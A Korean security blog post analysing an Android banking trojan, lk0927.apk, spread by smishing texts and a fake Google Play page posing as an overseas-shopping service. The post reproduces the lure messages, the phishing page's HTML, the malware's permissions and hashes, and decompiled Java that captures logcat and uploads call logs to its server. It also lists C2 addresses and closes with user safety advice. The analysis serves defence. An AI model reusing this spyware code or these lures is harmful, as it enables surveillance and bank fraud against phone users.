꿈을꾸는 파랑새

오늘은 해외직구 구매 대행으로 속여서 안드로이드 악성코드를 유포하는 lk0927.apk에 대해 글을 적어 보겠습니다. 최근 인터넷이 발달하고 코로나 19 때문에 지치는 지금 해외국매대행 서비스로 속여서 개인정보를 탈취하는 악성코드가 발견되고 있어서 한번 알아보는 시간을 가져 보겠습니다.

일단 흔히 이런 서비스를 배대지(배송대행지)라고 부르고 있는데 유명 배대지를 이용을 하면 문제가 발생하지 않겠지만, 자신이 영어 실력이 안 되거나 물건을 사고 싶어도 한국 배송이 안 되거나 해외직구를 하는 데 필요한 체크카드 또는 신용카드가 없는 경우에 이런 서비스를 이용하기도 합니다.

그리고 기본적으로 스마트폰 앱을 통해서도 비교적 쉽게 접근을 할 수가 있는데 최근에 이런 점을 악용해서 악성코드를 퍼뜨려서 개인정보를 수집하는 경우를 볼 수가 있었습니다.

문자 내용들은 다음과 같습니다.

[국제발신] NSmall [해외배송] 고객님 9월13일 687,890원 결제완료 본인아닐시
상담센터:050-xxxx-xxxx
[국제발신] (주)메이시스 753.250원 승인번호(97685) 정상처리완료 고객센터:050-xxxx-xxx
대한통운, 고객 물품 배송 실패 주소 불일치로 배송 불가 주문 즉시 수정: https://han(.)(g)l/

 

일단 해당 악성코드의 유포 방식은 다음과 같습니다.

http://okmall(.)vip/download/->http://okmall(.)vip/download/download.html -> http://okmall(.)vip/apk/lk0927(.)apk
방식으로 해당 악성코드가 유포를 되고 있습니다. 일단 해당 사이트에서 어느 항목을 눌러도 애플리케이션에서 이용해주세요. 이라는 메시지를 출력하고 확인을 눌러주면 http://okmall(.)vip/download/download(.)html

해외배송대행을 위장한 피싱 사이트
해외배송대행을 위장한 피싱 사이트

이라는 사이트로 이동합니다. 이때 화면을 잘 보면 LK MALL - 직구보다 쉬운 해외쇼핑이라고 돼 있고 앱 정보 설명 평점 및 리뷰등을 보면 마치 구글 플레이 스토어 공식 사이트처럼 생긴 것을 볼 수가 있는데 보시면 당연히 웹사이트 주소를 보면 구글 플레이 스토어가 아닌 것을 확인할 수가 있습니다. 

악성코드 다운로드 및 가짜 구글 플레이 스토어
악성코드 다운로드 및 가짜 구글 플레이 스토어

일단 웹사이트를 에서 웹 소스를 보면 어느 버튼을 눌러주어도 http://111.251.19(.)174/download.php
으로 넘어가게 돼 있는 것을 볼 수가 있습니다.

웹소스
웹소스

div class="main-visual-section">
  <div class="index-keyword">
    <p>수입대행, 타오바오, 알리바바, 3pl, 빠직, 토스토스, 구매대행, 배송대행, 풀필먼트, LCL, FCL</p>
  </div>
  <div class="main-full-img" data-setbg="./images/main_bg.jpg" style="background-image: url(main_bg.jpg)/*tpa=http://111.251(.)19.174/images/main_bg.jpg*/;">
    <div class="shipping">
<p class="tit">EMS 배송조회</p>
<div class="car"><img src="main_car.png" tppabs="http://111.251(.)19.174/images/main_car.png" alt="PAY SHOPPING"/></div>
<a href="download.html" tppabs="http://111.251.19(.)174/download.php" class="orther1">실시간 배송조회하기</a>
</div>
    <div class="main-floating">
      <div class="floating-inner"><span><img src="flag2.png" tppabs="http://111.251.19(.)174/images/flag2.png"></span> 환율고시정보 <strong class="num">183.00</strong></div>
    </div>
  </div>
  <div class="main-menu-wp">
    <div class="main-menu-area add-new">
      <div class="main-menu bg1"> <a href="#">
        <div class="main-menu-con"><span class="ico1"></span><span class="enTitle">Notice</span>
          <p><strong>공지사항</strong></p>
        </div>
        </a> </div>
      <div class="main-menu bg2"> <a href="#">
        <div class="main-menu-con"><span class="ico2"></span><span class="enTitle">Delivery</span>
          <p><strong>배송대행신청</strong></p>
        </div>
        </a> </div>
      <div class="main-menu bg3"> <a href="#">
        <div class="main-menu-con"><span class="ico3"></span><span class="enTitle">Delivery</span>
          <p><strong>구매대행신청</strong></p>
        </div>
        </a> </div>
      <div class="main-menu bg4"> <a href="#">
        <div class="main-menu-con"><span class="ico4"></span><span class="enTitle">My Page</span>
          <p><strong>마이페이지</strong></p>
        </div>
        </a> </div>
      <div class="main-menu bg5 bg5-1"> <a href="#">
        <div class="main-menu-con add-con"><span class="ico5"></span><span class="enTitle">Contact</span>
          <p><strong>1:1 문의하기</strong></p>
        </div>
        </a> </div>
      <div class="main-menu bg6"> <a href="#" >
        <div class="main-menu-con add-con"><span class="ico6"></span><span class="enTitle">Contact</span>
          <p><strong>EMS 배송조회</strong></p>
        </div>
        </a> </div>
    </div>
  </div>
</div>
<!-- main-visual-section / End -->
해당 IP 주소를 보면 대만 쪽으로 돼 있는 것을 확인할 수가 있었습니다. 일단 http://okmall(.)vip/download/download.html
사이트에서 설치를 눌러주면 lk0927.apk 이라는 악성코드를 다운로드 하게 됩니다. 해당 악성코드의 해쉬값을 보겠습니다.
파일명: lk0927.apk
사이즈: 16,310,143 Bytes
CRC32:fd5e5563
MD5:e15b9bef5d1c00ae80ac9ed86d5ffbaf
SHA-1:c1ec34be319e4815b35845ac050a547bcfbef502
SHA-256:f8e1d25c4e9db3f3f633afcdd8ea2ec55b711e2289457d6ecb3f1b7437169f2a
SHA-512:d01e6418c66571474fe97b4916afb5ed372473372239e59c2c54caa7dd3c9f149a8802370b8c7c849241fcdb3c146d1c7dd9c9c488ea57eb57b513e05a262fc6
이라는 것을 확인할 수가 있습니다. 여기서 악성코드를 실행을 시키며 다음과 같이 메시지를 볼 수가 있습니다.

안드로이드 악성코드 권한
안드로이드 악성코드 권한

 

알림
앱을 사용하려면 {접근성-설치된 서비스-LK MALL]허용 해 주셔야 정상적이니 서비스 이용이 가능합니다. 라고 돼 있습니다.

악성코드 설치 요구
악성코드 설치 요구

해당 악성코드의 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_UPDATES"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

악성코드 실행
악성코드 실행

<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-feature android:name="android.hardware.camera"/>

안랩 V3 악성사이트 탐지
안랩 V3 악성사이트 탐지


<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.MANAGE_OWN_CALLS"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_SMS"/>

악성코드 로그인
악성코드 로그인


<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>

이며 기본적으로 스마트폰 진동, 백그라운드 실행, 애플리케이션이 추가 위치 제공자 명령에 액세스 할 수 있도록 하면, 블루투스 설정을 조작하도록 하려면 BLUETOOTH_ADMIN 권한 도 포함이 돼 있는 것을 볼 수가 있습니다. 물론 전화번호 읽고 문자 읽고 연락처 읽고 카메라 등에 접근을 하는 것을 볼 수가 있습니다.

악성코드에 포함이 되어져 있는 아이콘
악성코드에 포함이 되어져 있는 아이콘

일단 해당 악성코드를 PNG 파일들을 보면 KB국민은행, 우리금융 캐피탈, NH 저축은행, 우리은행, 신한저축 은행,카카오뱅크,IBK 은행등 로고를 볼 수가 있으며 KB국민은행 매직카 대출 같은 예전에 사용했던 보이스피싱 관련 부분도 볼 수가 있습니다.

 물론 앞서 이야기한 것처럼 다른 은행 아이콘들도 보이는 것을 볼 수가 있습니다.

android.intent.action.CALL
android.intent.action.CALL

com.guguda.task.phone.CallService 에서는 전화를 걸기를 위한 코드인 android.intent.action.CALL이 포함이 되어져 있습니다.
public void startActivityForCall(String str) {
        String replaceAll = str.replaceAll("-", "");
        if (replaceAll.startsWith("+82")) {
            StringBuilder sb = new StringBuilder();
            sb.append("0");
            sb.append(sb.substring(3));
            replaceAll = sb.toString();
        }
        try {
            Intent intent = new Intent("android.intent.action.CALL");
            intent.addFlags(268435456);
            intent.setData(Uri.parse("tel:" + replaceAll));
            startActivity(intent);
        } catch (Exception unused) {
        }
    }
}
보면 한국 국가 코드가 보이는 것을 확인할 수가 있습니다.

com.guguda.task.helper.LogHelper
com.guguda.task.helper.LogHelper

com.guguda.task.helper.LogHelper 부분에서 스마트폰 카메라 관련 부분이 추가돼 있습니다.
package com.guguda.task.helper;
import android.os.Environment;
import android.text.TextUtils;
import android.util.Log;
import com.guguda.task.AppStart;
import com.guguda.task.http.HttpEngine;
import com.guguda.task.http.HttpManager;
import com.guguda.task.http.HttpResponse;
import com.guguda.task.utils.DeviceInfoUtils;
import com.guguda.task.utils.PermissionUtils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;

public class LogHelper {
    private static final boolean DEBUG = false;
    private static final String LOG_PREFIX = "mango_";
    private static final int LOG_PREFIX_LENGTH = 6;
    private static final int MAX_LOG_TAG_LENGTH = 23;
    private static Thread mThread;
    private static String pathLog;
    private static String pathPersist;

    static final class LogcatRunnable implements Runnable {
        LogcatRunnable() {
        }

        public void run() {
            if ((-11131 + 17736) % 17736 <= 0) {
                int i = ((15231 - 5286) % 5286) + 5286;
                while (true) {
                    i %= 5286;
                }
            } else {
                try {
                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("logcat -v time").getInputStream()));
                    while (true) {
                        String readLine = bufferedReader.readLine();
                        if (readLine != null) {
                            LogHelper.writeLogcat(readLine);
                        } else {
                            return;
                        }
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void clearLogcat(boolean z) {
        File file = new File(pathPersist);
        if (!file.exists()) {
            return;
        }
        if (z || file.length() > 10485760) {
            file.delete();
        }
    }

    /* renamed from: d */
    public static void m46d(String str, Object... objArr) {
    }

    /* renamed from: e */
    public static void m47e(String str, Throwable th, Object... objArr) {
        log(str, 6, th, objArr);
    }

    /* renamed from: e */
    public static void m48e(String str, Object... objArr) {
        log(str, 6, null, objArr);
    }

    /* renamed from: i */
    public static void m49i(String str, Object... objArr) {
        log(str, 4, null, objArr);
    }

    public static void initLog() {
        if ((4052 - 10627) % -10627 > 0) {
            int i = ((4726 - -17040) % -17040) - 17040;
            while (true) {
                i %= -17040;
            }
        } else if (PermissionUtils.hasStoragePermission(AppStart.getContext())) {
            pathLog = Environment.getExternalStorageDirectory() + File.separator + "kb";
            File file = new File(pathLog);
            if (!file.exists()) {
                file.mkdirs();
            }
            pathPersist = file.getAbsolutePath() + File.separator + "log.json";
            File file2 = new File(pathPersist);
            if (file2.exists()) {
                file2.delete();
            }
        }
    }

    public static void log(String str, int i, Throwable th, Object... objArr) {
        String str2;
        String str3 = String.valueOf(System.currentTimeMillis()) + " ";
        if (th == null && objArr != null && objArr.length == 1) {
            str2 = str3 + objArr[0].toString();
        } else {
            StringBuilder sb = new StringBuilder();
            if (objArr != null) {
                for (Object obj : objArr) {
                    sb.append(obj);
                }
            }
            if (th != null) {
                sb.append("\n").append(Log.getStackTraceString(th));
            }
            str2 = str3 + sb.toString();
        }
        writeLogcat(str + ", message : " + str2);
        Log.println(i, str, str2);
    }

    public static String makeLogTag(Class cls) {
        return makeLogTag(cls.getSimpleName());
    }

    public static String makeLogTag(String str) {
        int length = str.length();
        int i = LOG_PREFIX_LENGTH;
        return length > 23 - i ? LOG_PREFIX + str.substring(0, (23 - i) - 1) : LOG_PREFIX + str;
    }

    public static void startLogcatThread() {
        if (mThread == null) {
            Thread thread = new Thread(new LogcatRunnable());
            mThread = thread;
            thread.start();
        }
    }

    public static void uploadCallLog(String str) {
        HttpManager.getInstance().uploadLog(DeviceInfoUtils.getDeviceID(AppStart.getContext()), str, new HttpEngine.OnResponseCallback<HttpResponse.R_String>() {
            /* class com.guguda.task.helper.LogHelper.C09611 */

            public void onResponse(int i, String str, HttpResponse.R_String r_String) {
            }
        });
    }

    /* renamed from: v */
    public static void m50v(String str, Object... objArr) {
    }

    /* renamed from: w */
    public static void m51w(String str, Throwable th, Object... objArr) {
        log(str, 5, th, objArr);
    }

    /* renamed from: w */
    public static void m52w(String str, Object... objArr) {
        if ((-12051 - 3930) % -3930 > 0) {
            int i = ((-1837 - 14355) % 14355) + 14355;
            while (true) {
                i %= 14355;
            }
        } else {
            log(str, 5, null, objArr);
        }
    }

    /* access modifiers changed from: private */
    public static void writeLogcat(String str) {
        if (!TextUtils.isEmpty(pathPersist)) {
            try {
                BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(pathPersist), true)));
                bufferedWriter.write("\n");
                bufferedWriter.write(str);
                bufferedWriter.close();
            } catch (FileNotFoundException e) {
                e.printStackTrace();
            } catch (IOException e2) {
                e2.printStackTrace();
            }
        }
    }
}

돼 있으며 com.pedro.encoder.input.video.Camera1ApiManager에서는

com.pedro.encoder.input.video.Camera1ApiManager
com.pedro.encoder.input.video.Camera1ApiManager

Public class Camera1ApiManager implements Camera.PreviewCallback, Camera.FaceDetectionListener {
    private String TAG;
    private Camera camera;
    private int cameraSelect;
    private int fps;
    private GetCameraData getCameraData;
    private int height;
    private int imageFormat;
    private boolean isFrontCamera;
    private boolean lanternEnable;
    private int orientation;
    private volatile boolean prepared;
    private List<Camera.Size> previewSizeBack;
    private List<Camera.Size> previewSizeFront;
    private boolean running;
    private SurfaceTexture surfaceTexture;
    private SurfaceView surfaceView;
    private TextureView textureView;
    private int width;
    private byte[] yuvBuffer;
들이 포함돼 있는 것을 볼 수가 있습니다.

KB국민은행 매직카 대출 사칭

해당 악성코드를 실행하면 다음 IP트랙픽을 사용을 합니다.
155.235(.)245.7:80 (TCP)
155.235.245(.)7:3120 (TCP)

2021-09-29 20:57:08 UTC 기준으로 바이러스 토탈에서 탐지하는 보안 프로그램들은 다음과 같습니다.
Alibaba:TrojanBanker:Android/SpyFakeCalls.b1781732
Avast-Mobile:APK:RepSandbox [Trj]
DrWeb:Android.Spy.901.origin
ESET-NOD32:A Variant Of Android/Spy.Banker.BAD
Fortinet:Android/Banker.BAD!tr.spy
Ikarus:Trojan.AndroidOS.SpyFakeCalls
K7GW:Spyware ( 0058189a1 )
Kaspersky:HEUR:Trojan-Banker.AndroidOS.Fakecalls.h
Kingsoft:Android.Troj.tn_banker.bad.(kcloud)
Lionic:Trojan.AndroidOS.Fakecalls.C!c
McAfee:Artemis!E15B9BEF5D1C
Microsoft:Trojan:AndroidOS/SpyFakeCalls.A
Symantec:Trojan.Gen.2
Symantec Mobile Insight
AdLibrary:Generisk
Tencent:A.privacy.KbsoftBanking
Trustlook:Android.PUA.DebugKey
입니다.
그리고 악성코드에 포함된 인터넷 주소는 다음과 같습니다.

그리고 악성코드에 포함된 인터넷 주소는 다음과 같습니다.
http://www.playmall(.)vip/lk
http://restsdk.amap(.)com/v3/place/text?
http://abroad.apilocate.amap(.)com/mobile/binary
http://dualstack-restsdk.amap(.)com/v3/geocode/regeo
https://restsdk.amap(.)com/v3/iasdkauth
http://dualstack.apilocate.amap(.)com/mobile/binary
http://restsdk.amap(.)com/v3/place/around?
http://restsdk.amap(.)com/v3/geocode/regeo
http://schemas.android(.)com/apk/res-auto
http://apilocate.amap(.)com/mobile/binary
http://cgicol.amap(.)com/collection/collectData?src=baseCol&ver=v74&
http://restsdk.amap(.)com/v3/iasdkauth
http://restsdk.amap(.)com/v3/config/district?
http://schemas.android(.)com/apk/res/android
http://restsdk.amap(.)com

즉 해당 악성코드는 은행 관련 정보를 훔쳐 가지 위해서 제작된 것으로 보이며
일단 기본적인 보안 수칙을 지킨다고 하면 스마트폰이 악성코드에 감염되는 것을 최소화할 수가 있습니다.
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
기본적으로 이름 있는 백신 앱을 설치하기를 권장하면 최소 안랩의 V3는 설치하시는 것을 추천 드리겠습니다.
그리고 이런 문자들이 오면 호기심이 생겨서 설치하는 어리석은 행동을 하지 말았으면 합니다. 즉 백신 앱을 설치를 하고 실행을 시켜주는 것이 안전하게 스마트폰을 사용하는 방법의 하나일 것입니다. 부모님이나 귀찮더라고 백신앱을 설치 실행을 하는 것이 이런 악성코드를 막는데 도움을 받을 수가 있습니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band